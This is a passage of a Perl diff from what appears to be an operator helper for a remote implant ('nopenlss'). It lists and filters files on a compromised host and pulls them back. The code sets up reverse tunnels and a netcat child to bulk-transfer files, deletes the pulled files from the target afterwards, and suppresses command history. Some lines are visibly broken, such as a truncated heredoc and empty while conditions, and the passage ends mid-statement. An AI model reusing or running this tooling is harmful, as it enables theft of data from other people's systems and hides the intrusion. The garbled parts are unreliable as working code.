$findinpathglobboth = $opt_W; + my $forcereget = "FORCEREGET" if $opt_r; + my $popem = $opt_P; + my $returndirs = $opt_A; +#dbg("popem=$popem forcereget=$forcereget="); + + ($nocasepositive,$opt_g) = $opt_g =~ /(I:){0,1}(.*)/; + ($nocasenegative,$opt_V) = $opt_V =~ /(I:){0,1}(.*)/; + # Nevermind this "Insensitive" thing was hokey, just I: will do. +# my ($filecaseg,$filecaseV) = ("Insensitive","Insensitive"); + my @exprspositive = readarrayfrom($opt_g,\$filecaseg); + my @exprsnegative = readarrayfrom($opt_V,\$filecaseV); + $nocasepositive = $filecaseg if $filecaseg; + $nocasenegative = $filecaseV if $filecaseV; + mydie("-g $nocasepositive$opt_g seems to be a local filename and yet does not exist") + if (($opt_g =~ m,^/current/, or $opt_g =~ m,^../,) and + !@exprspositive); + mydie("-V $nocasenegative$opt_V seems to be a local filename and yet does not exist") + if (($opt_V =~ m,^/current/, or $opt_V =~ m,^../,) and + !@exprsnegative); + @exprspositive = split(/,,/,$opt_g) unless -f $opt_g; + @exprsnegative = split(/,,/,$opt_V) unless -f $opt_V; + my $maxdownload = $opt_T if $opt_T =~ /^\d+(\.[\d]+){0,1}$/ and $opt_T > 0; + my $maxsize = int($opt_M) if $opt_M =~ /^\d+$/; + my $minsize = int($opt_m) if $opt_m =~ /^\d+$/; + mydie("-m/M options ($opt_m/$opt_M) must be integers") if + (($opt_M and !(length $maxsize)) or + ($opt_m and !(length$minsize))); + mydie("-T $opt_T option must be a positive number") if + (($opt_T and !(length $maxdownload))); + mydie("-l $opt_l must be a non-empty local file") + unless (!$opt_l or (-f $opt_l and -s _)); + mydie("-s $opt_s not valid, must be 0 < N <= M") + unless (!$opt_s or + ($opt_s =~ /^(\d+),(\d+)$/ and $1 <= $2 and $1 > 0)); + my ($mysplitpart,$splitcount) = ($1,$2) if $opt_s; + my $skipempty = $opt_Z; + $outmore .= ", nonempty" if $skipempty; + $outmore .= ", size <= $maxsize bytes" + if ($maxsize and !($tailbytes or $headbytes)); + $outmore .= ", getting tail $maxsize bytes of files" + if ($maxsize and $tailbytes); + $outmore .= ", getting head $maxsize bytes of files" + if ($maxsize and $headbytes); + $outmore .= ", size >= $minsize bytes" + if $minsize; + $outmore .= ", size <= $maxsize and >= $minsize bytes" + if $maxsize and $minsize; + my ($wipeafter,$offerget,$tarfile)=(); + if ($opt_G) { + $viatar = $opt_4; + $opt_5 = int($opt_5) if ($opt_5 > 0 and $opt_5 < 65000); + $viatar = $opt_5 if $opt_5; + $offerget++; + $wipeafter="WIPEAFTER" if $opt_D; + if ($tarfile = $opt_E) { + if ($splitcount > 1 and $mysplitpart > 1) { + # Silently ignore the -E in all but part 1 + $tarfile = ""; +# # Silently ignore the -D delete option in all but part 1 +# $wipeafter = ""; + } + mydie("-E $tarfile : Option cannot contain / (it will be put in $opdir)") + if ($tarfile =~ m,/,); + } + } else { + mydie("-D cannot be used without -G") if $opt_D; + mydie("-4 cannot be used without -G") if $opt_4; + } + my ($startepoch,$stopepoch,$startdate) = (); + my $stopdate = $opt_S; + if ($stopdate) { + # NOTE: Not Y3K compliant. hehe + my $tmpdate; + if ($stopdate =~ m,^(\d+)[/-](\d+)[/-](\d\d+)$,) { + $tmpdate = "0$1-0$2-20$3"; + $tmpdate =~ s,\d\d(\d\d\d\d)$,\1,g; + $tmpdate =~ s,0(\d\d)-,\1-,g; + $tmpdate =~ s,-,/,g; + } + + unless ($tmpdate =~ m,^(\d\d[/-]\d\d[/-]\d\d\d\d)$,) { + mywarn("Malformed stop date option: -S $opt_S\n". + " (should be MM-DD-YYYY format)"); + return (); + } + $stopdate = "$3$1$2" + if ($tmpdate =~ m,(\d\d)/(\d\d)/(\d\d\d\d),); + mywarn("DBG: date -d $tmpdate +\%s 2>&1"); + chomp($stopepoch = `date -d $tmpdate +\%s 2>&1`); + } + if ($opt_x) { + my ($type) = $opt_x =~ /^([mac])/; + $opt_x =~ s,/,-,g if $opt_x =~ m,(\d\d/\d\d/\d\d\d\d)$,; + $type = "m" unless $type; + $opt_x = "${type} 0$1-0$2-20$3" + if ($opt_x =~ m#(\d+)[/-](\d+)[/-](\d\d+)$#); + $opt_x =~ s,\d\d(\d\d\d\d)$,\1,g; + $opt_x =~ s,0(\d\d)-,\1-,g; + ($startdate) = $opt_x =~ m,(\d\d-\d\d-\d\d\d\d)$,; +# my ($type,$date) = $opt_x =~ /\s*([mac]){0,1}\s*(\d\d-\d\d-\d\d\d\d)/; +# $startdate = $date; + $lsoptions .= " -x$type $startdate" if $startdate; + if ($stopdate) { + my $tmpdate = $startdate; + $tmpdate =~ s,-,/,g; +mywarn("DBG: date -d \"$tmpdate\" +\%s 2>&1"); + chomp($startepoch = `date -d "$tmpdate" +\%s 2>&1`); + mydie("The -S date ($opt_S) must be later than the -x date ($startdate)") + unless $stopepoch >= $startepoch; + } + } + if ($stopdate) { + + mywarn(".\n". + "DBG: startdate=$startdate startepoch=$startepoch\n". + "DBG: stopdate =$stopdate stopepoch =$stopepoch"); +# return(); + } + + $sum = $opt_z; + $filesonly = $opt_F; + $filesonly++ if ($offerget); +# $filesonly++ if ($offerget or $maxsize or $minsize or $skipempty); + $outmore .= ", files only" if $filesonly; + $outmore .= ", last $maxsize bytes per file" if ($maxsize and $tailbytes); + $outmore .= ", first $maxsize bytes per file" if ($maxsize and $headbytes); +# $nodirs = $opt_D; + if ($cmdoutfile = $opt_O) { + mydie("-O $cmdoutfile : must be a full path to a file not a directory") + if (-d $cmdoutfile); + mydie("-O $cmdoutfile : must be a full path that already exists") + if ($cmdoutfile =~ m,^[^/], or + ! (-d dirname $cmdoutfile)); + preservefile($cmdoutfile); + doit("-cmdout $cmdoutfile"); + } + if ($outfile = $opt_f) { + my $dir = dirname $outfile; +# dbg("dir=$dir outfile=$outfile: ".$outfile =~ m,^[^/],); + mydie("-f $outfile : must be a full path to a file not a directory") + if (-d $outfile); + mydie("-f $outfile : must be a full path that already exists") + if ($outfile =~ m,^[^/], or + ! (-d dirname $outfile)); + unless ($append) { + $preserved = "\n(previous copy renamed to $preserved)" + if ($preserved) = preservefile($outfile); + open(LSSOUTFILE,">$outfile") or mydie("Cannot open >$outfile:$!\n"); + } else { + open(LSSOUTFILE,">>$outfile") or mydie("Cannot open >>$outfile:$!\n"); + } + } +# preservefile($tmpfile); # take out later? + my $PATHS = ""; + my @dodirs = (); + my $finaloutput = ""; + my $skippedrsync = 0; + if ($findinpath) { + my @targfiles = uniqify_array(@ARGV); + my ($output,$nopenlines,@env) = doit("-getenv"); + my ($path) = $output =~ /PATH=(\S+)/; + newhostvar("host_path{$nopen_mypid}",$path); + my @paths = split(/:/,$path); + foreach $path (@paths) { + $path =~ s,/+$,,; + foreach my $targfile (@targfiles) { + if ($targfile =~ m,^/,) { + push(@dodirs,$targfile); + next; + } + if ($findinpathglob) { + push @dodirs,"$path/$targfile*"; + } elsif ($findinpathglobboth) { + push @dodirs,"$path/*$targfile*"; + } else { + push @dodirs,"$path/$targfile"; + } + } + } + } else { + foreach (@ARGV) { + # CONSIDER: next unless (length $_); + $_ = "$targetcwd/$_" + unless (m,^\s*/,); + s,/\./,/,g; + s,/[^/]+/\.\./([^/]+),/$1,g; + s,/+,/,g; + push(@dodirs,$_); + } + } + + + if ($opt_l) { + mydie("-l $opt_l must be a file") unless -f $opt_l; + @dodirs = readpathsfromfile($opt_l); + } + + if ($viatar) { + my $port = $viatar; + $port = myrand() unless ($opt_5 =~ /^\d+$/); + my ($portcount,$more,$there) = (0,"",1); + while (1) { + if ($opt_5 =~ /^\d+$/ and $there ) { + $more = "\n\n\nUsing pre-defined reverse tunnel, confirmed it is there"; + } else { + unless ($more) { + $port = myrand(); + $portcount++; + } + my ($output) = doit("netstat -an | egrep \"LISTEN(\$| )\" | egrep \"(.\|:)$port \""); + mydie("This is very odd. Checked $portcount different ports, all are remotely bound. Bailing.") + if ($portcount > 50); + next if $output; + offerabort($COLOR_FAILURE.$more. + $COLOR_NORMAL."\n\n". + "-lss -G4 requires a return tunnel from $nopen_rhostname.\n\n". + "In another window on $nopen_rhostname, set up this tunnel:\n\n". + "-tunnel\n". + "r $port\n" + ); + } + my ($output) = doit("netstat -an 2>/dev/null | egrep \"LISTEN(\$| )\" 2>/dev/null | egrep \"(.\|:)$port \" 2>/dev/null"); + $viatar = $port; + last if $output; + $more = "\n\nYou MUST set up that reverse tunnel to continue."; + $there = 0; + } + progprint("DBG: WTF: output=$output="); + + if ($opt_5 =~ /^\d+$/) { + progprint($COLOR_FAILURE.$more); + } + $lsstarproc = "$optmp/lsstarproc.$$"; + if (!fork()) { + # Start netcat child, never returns + mydie("Cannot write to $lsstarproc") + unless (open(LSSOUTTAR,">$lsstarproc")); + print LSSOUTTAR < 100; + + # The $cksum gives us a unique and short filename per list of + # $lsoptions@dodirs (where list is in the same order, same -ls + # options are used). + chomp($cksum = `echo "$lsoptions@dodirs" | md5sum`); + $cksum =~ s/[-\s]//g; + # $tmpfile is unique per "@dodirs" and with/without -R/recurse + my $tmpfile = "$nopen_rhostname.lss$recursels.$cksum"; + $tmpfile =~ s,[ /\\],_,g; + $tmpfile = "$optmp/$tmpfile"; + #dbg(" + #dodirs=(\n ".join("\n ",@dodirs)."\n) + #inside new nopenlss() + #f=$opt_f + #tmpfile=$tmpfile + #"); + if (!$splitcount or + ($splitcount > 1 and $mysplitpart == 1)) { + + my $dolist = ""; + ($lssoutput,$lssnopenlines,@lssoutput) = (); + if ($reusels and -s $tmpfile) { + my $age =int(100*( -M $tmpfile ) * 24 * 60 + 5)/100; + my $these = "these"; + my $paths = "paths"; + unless (@dodirs > 1) { + $paths = "path"; + $these = "this"; + } + progprint($reusewarning = "$COLOR_FAILURE\n\n". + "Re-using previous -ls of $these $paths ($PATHS) from $age minutes ago.\n". + "Use -U to disable this $prog feature") unless $quiet; + ($lssoutput,$lssnopenlines,@lssoutput) = + reusefile($tmpfile,"# -ls$lsoptions @dodirs"); + $lssnopenlines = "# OLD DATA: $age minutes ago"; + #dbg("Set lssnopenlines=$lssnopenlines="); + } else { + unlink($tmpfile); + my ($firenow,$thisdate,$savestamp,$dateopt) = (); + undef $gbl_lastlamefreebsdecho; + foreach $dodir (@dodirs) { + # If opt_x is set, that overrides dates that came from opt_l file. + if (!$opt_x and $datestamp{$dodir}) { + $thisdate = $datestamp{$dodir} unless $thisdate; + + # If this dir has a datestamp for it, and it is different from + # the last $dodir processed, we $firenow, the redo below will process + # this $dodir with a new $datestamp. + #dbg("on dodir=$dodir datestamp=$datestamp{$dodir} thisdate=$thisdate firenow=$firenow"); + if ($thisdate and $thisdate ne $datestamp{$dodir}) { + $firenow = 1; + $dateopt = " -xm $thisdate"; + #dbg("now dateopt=$dateopt="); + } else { + $dolist .= " $dodir"; + } + } else { + $dolist .= " $dodir"; + } + + next unless (($freebsdtarget and $recursels) or + length($dolist) > $nopenmaxcommandlength) ; + my ($o,$n,@lsso) = (); + if (defined &mydoit) { + ($o,$n,@lsso) = mydoit("-ls$lsoptions$dateopt $dolist >>T:$tmpfile"); + } else { + ($o,$n,@lsso) = doit("-ls$lsoptions$dateopt $dolist >>T:$tmpfile"); + } + if ($freebsdtarget and + $lsoptions =~ /R/ and + $serverver =~ /3\.0\.[432]/) { + doit("echo"); + if (!$gbl_lastlamefreebsdecho or time()-$gbl_lastlamefreebsdecho > 30) { + doit("-lsh echo above remote garbage echo line to clear buffer after -ls -R on FreeBSD, -ls -R bug"); + newhostvar("gbl_lastlamefreebsdecho",time()); + } + } + $lssoutput .= $o; + $lssnopenlines .= $n; + push(@lssoutput,@lsso); + $dolist = ""; + if ($firenow) { + $thisdate = ""; + $firenow = 0; + $lsoptions .= $savestamp; + # redo will re-process $dodir, which has not yet been done + redo; + } + } + if (defined $gbl_lastlamefreebsdecho) { + doit("-lsh echo above remote garbage echo line to clear buffer after -ls -R on FreeBSD, -ls -R bug") unless + (time()-$gbl_lastlamefreebsdecho < 2); +; + } + if ($dolist) { + if ($thisdate) { + $dateopt = " -xm $thisdate"; + #dbg("now dateopt=$dateopt="); + } + + my ($o,$n,@lsso) = (); + if (defined &mydoit) { + ($o,$n,@lsso) = mydoit("-ls$lsoptions$dateopt $dolist >>T:$tmpfile"); + } else { + # Why do we need -nohist here? Thought doit put that in? + ($o,$n,@lsso) = doit("-ls$lsoptions$dateopt $dolist -nohist >>T:$tmpfile"); + } + if ($freebsdtarget and $lsoptions =~ /R/) { + doit("echo", + "-lsh echo above remote garbage line to clear buffer after -ls -R on FreeBSD, -ls -R bug"); + } + $lssoutput .= $o; + $lssnopenlines .= $n; + push(@lssoutput,@lsso); + } + # Call this to save off this output for re-use later. + reusefile($tmpfile,"# -ls$lsoptions @dodirs\n# OTHER OPTIONS: -lss $ouropts",$lssoutput,$lssnopenlines,@lssoutput); + } + if ($cmdoutfile) { + $tmpfile = $cmdoutfile; + doit("-cmdout") ; + $extra1 = "(\s*\d+\s+)"; + } + if ($warnings) { + $finaloutput = "$COLOR_FAILURE\nIgnoring these options (defined neither for $prog nor -ls):\n "; + $finaloutput .= join("\n ",grep /Unknown option/,split(/\n/,$warnings)); + $finaloutput .= join("\n",grep ! /(^$|Unknown option)/,split(/\n/,$warnings)); + $finaloutput .= "$COLOR_NORMAL\n"; + # dbg("banggrep=".join("\n",grep ! /(^$|Unknown option)/,split(/\n/,$warnings))."==="); + } + if (my $listingsize = -s $tmpfile > 5000000) { + $finaloutput .= "Remote -ls is done. Listing is $listingsize bytes.\n". + "$COLOR_FAILURE Sorting it may take a while."; + # } else { + #dbg("time=".time()." starttime=$starttime"); + # $finaloutput .= "Remote -ls is done.\n" + # if (time() - $starttime > 5); + } + #dbg(" + +#tmpfile=$tmpfile\n".`ls -al $tmpfile`."\n\n +#lssoutput has ".scalar @lssoutput." items + +#"); + + if ($skiplsstamp) { + @lssoutput = split(/\n/,`cat $tmpfile`); + } else { + @lssoutput = split(/\n/,`lsstamp $tmpfile`); + } +# dbg("lssoutput has ".scalar @lssoutput." items + +#filesonly=$filesonly= +#cmdoutfile=$cmdoutfile= +#outfile=$outfile= +#nodirs=$nodirs= +#lssoutput=(\n".join("\n",@lssoutput)."\n) + +#"); +#lssoutput=(\n".join("\n",@lssoutput)."\n) + + if ($filesonly) { + if ($cmdoutfile) { + # In this mode the inode shows, one extra column to skip + @lssoutput = grep /^\s*\d+\s+-/,@lssoutput; + } else { + @lssoutput = grep /^-/,@lssoutput; + } + } elsif ($nodirs) { + if ($cmdoutfile) { + # In this mode the inode shows, one extra column to skip + @lssoutput = grep !/^\s*\d+\s+d/,@lssoutput; + } else { + @lssoutput = grep !/^d/,@lssoutput; + } + } + my @shorteroutput=(); + + + processnopenls(0,0,0,0,"",$stopdate,@lssoutput) ; + + foreach (@lssoutput) { + s/\s*$//; + # This next for files only...why was it here? Doing that above in + # if($filesonly) section...wtf...this was a burnBURN bug. + #dbg("cmdoutfile=$cmdoutfile= HERE2 WITH DIR: $_") if /drw/; + # if ($cmdoutfile) { + # # In this mode the inode shows, one extra column to skip + # next unless /^\s*\d+\s+-/; # files only + # } else { + # next unless /^\s*-/; # files only + # } + my $size = 0; + if ($cmdoutfile) { + # In this mode the inode shows, one extra column to skip + ($size) = /\s*\d+\s+\S+\s+\S+\s+\S+\s+\S+\s+(\S+)\s+/; + } else { + ($size) = /\s*\S+\s+\S+\s+\S+\s+\S+\s+(\S+)\s+/; + } + #dbg("stopdate=$stopdate cmdoutfile=$cmdoutfile from $tmpfile, size=$size Line=$_"); + next unless ($size =~ /^\d+$/); + if ($stopdate) { + my ($type,$inodes,$user,$group,$size,$monstr, + $mday,$hm,$y,$filename,@morefilename) + = split (/\s+/,$_); + $type = substr($type,0,1); +# dbg("type=$type stopdate=$stopdate cmdoutfile=$cmdoutfile from $tmpfile, size=$size Line=$_"); + if ($type eq "-") { +# dbg("stopdate=$stopdate cmdoutfile=$cmdoutfile from $tmpfile, size=$size Line=$_"); + my $mon=sprintf("%02d",1+$nummon{$monstr}); + $mday=sprintf("%02d",$mday); + $y = sprintf("%04d",$y); + $filedate = "$y$mon$mday"; +# dbg("Comparing file date $filedate with stopdate=$stopdate"); + next unless ($stopdate ge $filedate); + } + } + #dbg("Comparing $size > $minsize and $size < $maxsize"); + if ($maxsize > 0 and !($tailbytes or $headbytes)) { + next if ($size > $maxsize); + } + if ($minsize > 0) { + next if ($size < $minsize); + } + if ($skipempty) { + next if int($size) == 0; + } + #dbg("In loop on lssoutputcmdoutfile=$cmdoutfile: $_"); + + #dbg("1=$1 2=$2 3=$3 4=$4 5=$5 6=$6 7=$7 8=$8"); + #dbg("size=$size= filename=$filename= -lss -G line: $_"); + # Skip files we already have unless -r is used, whether + # via -get this op or -gs rsync from previous op data. + #dbg("filename=$filename= + #skippedgot=$skippedgot="); + my ($gotindown,$gotinrsync,$filename,$sizematch,$sizediff) = gotlocalcopy($_,$getlocaldir,$targetcwd);#gotlocalcopy($_); +# dbg("HERENEW2 + +#forcereget=$forcereget= +#offerget=$offerget= +#gotindown,gotinrsync,filename,sizematch,sizediff= +#$gotindown,$gotinrsync,$filename,$sizematch,$sizediff= + +#"); + + # if ($offerget) { + # unless($forcereget) { + if ($gotindown or $gotinrsync) { +# dbg("Here, we got gotindown=$gotindown= +# gotinrsync=$gotinrsync= +#offerget=$offerget= +#resumeifpartial=$resumeifpartial= +#sizematch=$sizematch= +#skippedgot=$skippedgot= + +#"); + if (!$resumeifpartial or $sizematch) { + $skippedgot .= "$_\n"; + if ($offerget and !$forcereget) { + push(@skippedgot,$filename); + push(@wipethesehere,$filename) + if ($wipeafter); + next ; + } else { + $morefile = "$COLOR_FAILURE\n# (files shown in red were pulled earlier)"; + } + } + if ($resumeifpartial and $sizediff > 0) { + $sumadjustment += $filesizes{$filename} - $sizediff; + $completingpartial .= + sprintf("%25d %-38s\n", + $sizediff, + $filename, + ); + } + } + # } + # } + if (@exprspositive) { + my @newlssoutput = (); + my @newfiles = (); + my $getit=0; + foreach my $expr (@exprspositive) { + if (/$expr/ or ($nocasepositive and /$expr/i)) { + $getit++; + $exprspositive{$expr}++; + } + last if $getit; + # push(@newlssoutput,grep /$expr/,@lssoutput); + # push(@newfiles, grep /$expr/,@files); + } + next unless $getit; + } + if (@exprsnegative) { + my $skipit=0; + foreach my $expr (@exprsnegative) { + if (/$expr/ or ($nocasenegative and /$expr/i)) { + $exprsnegative{$expr}++; + $skipit++ ; + last; + } + # @lssoutput = grep !/$expr/,@lssoutput; + # @files = grep !/$expr/,@files; + } + next if $skipit; + } + # dbg("Adding filename=$filename= to \@files in sub nopenlss"); + push(@shorteroutput,$_); + push(@files,$filename) if $filename; + } + @longerlssoutput = @lssoutput; + @lssoutput = @shorteroutput; +#dbg(" + + +#Here lssoutput is (@lssoutput) + + +#"); + # } + if (@exprspositive) { + my ($nocase,$nocasei) = (); + if ($nocasepositive) { + $nocase = " (case insensitive)"; + $nocasei = "i"; + } + $moregreps .= "\n$COLOR_NOTE\n". + "Output also filtered to ONLY show those MATCHING$nocase any of:\n"; + foreach my $e (@exprspositive) { + $moregreps .= sprintf(" m/%-35s %5d hits\n",$e."/$nocasei",$exprspositive{$e}); + } + } + if (@exprsnegative) { + my ($nocase,$nocasei) = (); + if ($nocasenegative) { + $nocase = " (case insensitive)"; + $nocasei = "i"; + } + my $then = " also"; + $then = " then" if $moregreps; + $moregreps .= "\n$COLOR_NOTE\n". + "Output$then filtered to NOT show those MATCHING$nocase any of:\n"; + foreach my $e (@exprsnegative) { + $moregreps .= sprintf(" m/%-35s %5d hits\n",$e."/$nocasei",$exprsnegative{$e}); + } + } + # $moregreps .= "\n\n" if $moregreps; + if ($skippedgot and $offerget) { + my $use_r = "use -r to re-get them"; + $use_r = "RE-PULLING them again" if $forcereget; + my $ormore = " or -gs rsynced" if $skippedrsync; + $skippedgot = "\n$COLOR_FAILURE\n\n". + "Files pulled$ormore previously, $use_r:\n$COLOR_FAILURE\n". + $skippedgot; + $outmore .= ", skipped some already -gotten$COLOR_FAILURE". + "(in red above)$COLOR_NOTE" + unless $outmore =~ /skipped some already -got/; + } + + $morefile = "\n$COLOR_FAILURE\nAbove reformatted/sorted -ls output also saved locally to $outfile $preserved" + if $outfile; +# if (@exprspositive) { +# $moregreps .= "\n$COLOR_NOTE\n". +# "Output also filtered to only show those MATCHING any of:\n". +# " m,".join(",\n m," ,@exprspositive).",\n\n"; +# my @newlssoutput = (); +# my @newfiles = (); +# foreach my $expr (@exprspositive) { +# push(@newlssoutput,grep /$expr/,@lssoutput); +# push(@newfiles, grep /$expr/,@files); +# } +# @lssoutput = @newlssoutput; +# @files = @newfiles; +# } +# if (@exprsnegative) { +# my $then = " also"; +# $then = " then" if $moregreps; +# $moregreps .= "\n$COLOR_NOTE\n". +# "Output$then filtered to NOT show those MATCHING any of:\n". +# " m,".join(",\n m," ,@exprsnegative).",\n\n"; +# foreach my $expr (@exprsnegative) { +# @lssoutput = grep !/$expr/,@lssoutput; +# @files = grep !/$expr/,@files; +# } +# } + @lssoutput = uniqify_array(@lssoutput); + @files = uniqify_array(@files); + + # Here we split into $splitcount pieces if need be + @allfiles = @files if ($tarfile or $wipeafter); +# dbg("files has ".scalar @files." entries, +#allfiles has ".scalar @allfiles." entries, +#"); + } + my $totalfilecount = @files; + if ($splitcount > 1) { +#dbg("splitcount=$splitcount="); + $splitcount = minof($splitcount,$totalfilecount) + if ($mysplitpart == 1); +#dbg("after minof we have splitcount=$splitcount="); + if (open(LSSOUT,">$optmp/dbgorig.$mysplitpart.of.$splitcount")) { + print LSSOUT join("\n",@files); + print LSSOUT "\n"; + } + close(LSSOUT); + if ($mysplitpart == 1) { + my @origfiles = @files; + my @origlssoutput = @lssoutput; + for (my $p = 1;$p <= $splitcount;$p++) { + my @tmpfiles = @origfiles; + my @tmplssoutput = @origlssoutput; + splitload($p,$splitcount,\@tmpfiles); + splitload($p,$splitcount,\@tmplssoutput); + if ($p == $mysplitpart) { + @files = @tmpfiles; + @lssoutput = @tmplssoutput; + } else { + open(LSSOUT,">$optmp/files.$cksum.$p.of.$splitcount"); + print LSSOUT join("\n",@tmpfiles)."\n"; + close(LSSOUT); + open(LSSOUT,">$optmp/lssoutput.$cksum.$p.of.$splitcount"); + print LSSOUT join("\n",@tmplssoutput)."\n"; + close(LSSOUT); +} + } + } else { + my $waitcount = 15; + while ($waitcount--) { +#dbg("Looking for: ls -al $optmp/lssoutput.$cksum.$mysplitpart.of.$splitcount\n". +# `ls -al $optmp/lssoutput.$cksum.$mysplitpart.of.$splitcount`); + last if open(LSSIN,"$optmp/lssoutput.$cksum.$mysplitpart.of.$splitcount"); + sleep 1; + mydie("Aborting, part 1 of $splitcount was never run.") if $waitcount < 2; + } + while () { + chomp; + push(@lssoutput,$_); + } + close(LSSIN); + open(LSSIN,"$optmp/files.$cksum.$mysplitpart.of.$splitcount"); + while () { + chomp; + push(@files,$_); + } + close(LSSIN); + } + if (open(LSSOUT,">$optmp/dbg.$mysplitpart.of.$splitcount")) { + print LSSOUT join("\n",@files); + print LSSOUT "\n"; + } + close(LSSOUT); + + } + + $lssoutput = join("\n",@lssoutput); +#dbg(" + + +#lssoutput= +#$lssoutput + + +#"); + $sizeoutput = sumsizes($chiliopts,$lssoutput,$maxdownload,($tailbytes or $headbytes),$maxsize) if $sum; + my $filelist = ""; + my $sortbysize = 0; # set this with $opt_something if we get this working + + # We want all lines in @lssoutput we've pulled to become red in our output + # or not shown at all if $offerget is on. + my @tmp = grep /^-/,split(/\n/,$skippedgot); + foreach my $gotline (@tmp) { + my $lastred=0; + for (my $i=0;$i<@lssoutput;$i++) { + next unless $lssoutput[$i] eq $gotline; + if ($offerget and !$forcereget) { + $lssoutput[$i] = ""; + next; + } + $lssoutput[$i] = "$COLOR_FAILURE$lssoutput[$i]$COLOR_NORMAL" unless $burnmode; + } + } + +#dbg("HERENEW0 filelist=$filelist= lssoutput=(@lssoutput)"); + if ($sortbysize) { + $filelist = sortoncol(4,&by_num,@lssoutput); + } else { + $filelist = join("\n",@lssoutput); + } +#dbg("HERENEW filelist=$filelist= lssoutput=(@lssoutput)"); + # Remove double spaces from empty lines joined + $filelist =~ s,\n\n,\n,g; + # Remove extra colors for concurrent red lines + $filelist =~ s,\033\[0;39m\n\033\[2;31m,\n,g; + # Change wording in $outmore and $outmore2 to reflect COUNT of those pulled already + my $count = scalar(@tmp); + if ($count > 0) { +#dbg("tmp has ".scalar @tmp. " elements count=$count and forcereget=$forcereget="); + $outmore =~ s/skipped some already -gotten/skipped $count already -gotten--use -r to re-get/; + $outmore2 =~ s/skipped some already -gotten/skipped $count already -gotten--use -r to re-get/; + } + +# dbg("HERE: Skippedgot=$skippedgot="); + # if ($skippedgot) { +# my @tmp = grep /^-/,split(/\n/,$skippedgot); +# if ($offerget) { +# foreach my $gotline (@tmp) { +# #dbg("skippedgot line=$gotline="); +# $filelist =~ s,\n*$gotline\n*,\n,g; +# } +# } else { +# # Dump this now, have what we need in @tmp +# $skippedgot = ".\n"; +# foreach my $gotline (@tmp) { +# $filelist =~ s/($COLOR_NORMAL){0,1}(\n*)($gotline)(\n*)/$2$COLOR_FAILURE$3$COLOR_NORMAL$4/; +# if (length($1)) { +# # Remove the new red color if $1 was there, meaning previous line was already red +# $filelist =~ s,$COLOR_FAILURE$gotline,$gotline,; +# } +#dbg("Changed filelist now to: + + +#$filelist + + +#"); +# } +# } +# my $count = scalar(@tmp); +# $outmore =~ s/skipped some already -gotten/skipped $count already -gotten/; +# $outmore2 =~ s/skipped some already -gotten/skipped $count already -gotten/; +# } +#dbg("Changed filelist now to: + + +#$filelist + + +#"); + my $outmore2 = ""; + if ($outmore) { + #dbg("outmore was=$outmore="); + $outmore =~ s/^, //; + $outmore = " ( $outmore )"; + $outmore =~ s/,/,\n# /g; + $outmore =~ s/\)$/\n# \)/; +# while (length $outmore > 65 and $outmore =~ /,/) { +# my ($chunk) = $outmore =~ /(\s+\S+)\s*$/; +# $outmore =~ s/\s+\S+\s*$//; +# my ($chunk) = $outmore =~ /,\s+([^,]*)/; +# $outmore =~ s/,\s+([^,]*)/,/; +#dbg("outmore now=$outmore="); +# $outmore2 = "\n# $chunk$outmore2"; +# } + +#dbg("Final: +#outmore=$outmore= +#outmore2=$outmore2= +#prog=$prog +#quiet=$quiet +#lssoutput=(@lssoutput) +#"); +# $outmore2 = "\n# $outmore2" if $outmore2; + } + my $whichoutput = "Above"; + $whichoutput = "Previous" if $reusewarning; + my $listcount = @lssoutput; + my $longerlistcount = @longerlssoutput; + my $countstr = ""; + if ($listcount > 0) { + if ($longerlistcount == 0 or $listcount == $longerlistcount) { + $countstr = ", $listcount entries, "; + } else { + my $splitting = "/splitting" if $splitcount > 1; + $countstr = ", $listcount entries (after filtering$splitting from $longerlistcount), \n# "; + } + } + #dbg("HERENEW filelist=$filelist="); + unless ($filelist or $viatar) { + my $more = "$COLOR_FAILURE NOT ALREADY PULLED" if $offerget; + $filelist = "\n\n# NO MATCHING FILES$more\n\n"; + } + progprint + ($skippedgot. + "$COLOR_NOTE\n". + "$whichoutput output reformatted by autoutils:nopenlss($ouropts $PATHS):". + "$COLOR_NORMAL\n". + $finaloutput. + $filelist. + "\n$COLOR_NOTE\n# Above output$countstr$outmore was sorted from:\n". + "# -ls$lsoptions $PATHS" . + $sizeoutput. + $morefile. + $moregreps. + $reusewarning + ) unless ($quiet and $prog ne "-gs lss"); + $finaloutput .= join("\n",@lssoutput)."\n"; + $finaloutput =~ s,\033\[0;39m,,g; + $finaloutput =~ s,\033\[2;31m,,g; + $sizeoutput =~ s,\033\[0;39m,,g; + $sizeoutput =~ s,\033\[2;31m,,g; + + print LSSOUTFILE + $finaloutput. + $sizeoutput. + "" + if $outfile; + close(LSSOUTFILE); + @ARGV=@resetargv if $resetargv; + my $pullingfiles = 0; + if (($offerget or $chiliopts) and -f $forcelssstop) { + $offerget = 0; + progprint("$COLOR_FAILURE\n\n". + "Force stop file ($forcelssstop) now exists.\n\n". + "ABORTING this get (called by $prog). You will need to manually remove that\n". + "file to proceed with any more use of -lss -G or nopengetfiles() during this op.\n". + "(this includes autonewdone, autogetcdrhits, autosurvey and possibly more), which\n". + "also pull files this way).\n\n". + "$COLOR_NORMAL\n\n". + "Download aborted. Remove this file to allow future -lss -Gs this op:\n\n". + " -lsh rm -f $forcelssstop" + ); + } + if ($offerget or $chiliopts) { + my $filecount = @files; + #dbg("filecount=$filecount="); + if ($filecount or $viatar) { + my ($options,$moresize,$ans,$longans,$totalbytes) = (); + $options .= $getpreservetime; + $options .= "GETVIATAR${viatar}VIATAR" if $viatar; + $options .= $skipdupes if $skipdupes; + $options .= "RESUMEIFPARTIAL" if $resumeifpartial; + $options .= "POPUP" if $popem; + $options .= "ONEPERLINE" if $oneperline; + $options .= $forcereget; + my ($these,$s) = ("this"); + ($these,$s) = ("these","s") if @files > 1; + if ($skipempty) { + $moresize = "\n(only$nonempty files)"; + } else { + $options .= "GETZERO=1"; + } + if ($maxdownload) { + $options .= "MAXDOWNLOAD=$maxdownload"; + } + if ($maxsize > 0) { + $options .= "TAILBYTES" if $tailbytes; + $options .= "HEADBYTES" if $headbytes; + $options .= "SIZEMAX=$maxsize"; + $moresize = "\n(only$nonempty files <= $maxsize bytes)" if $maxsize; + $moresize = "\n(only last $maxsize bytes of $nonempty files bigger than that)" if $maxsize; + $moresize = "\n(only$nonempty files >= $minsize bytes)" if $minsize; + $moresize = "\n(only$nonempty files <= $maxsize and >= $minsize bytes)" if $minsize and $maxsize; + } + my $sumsizes = sumsizes($chiliopts,$lssoutput,$maxdownload,($tailbytes or $headbytes),$maxsize,$sumadjustment); + my $filecount = @files; + #dbg("sumsizes=$sumsizes= + + +#donotprompt=$donotprompt= 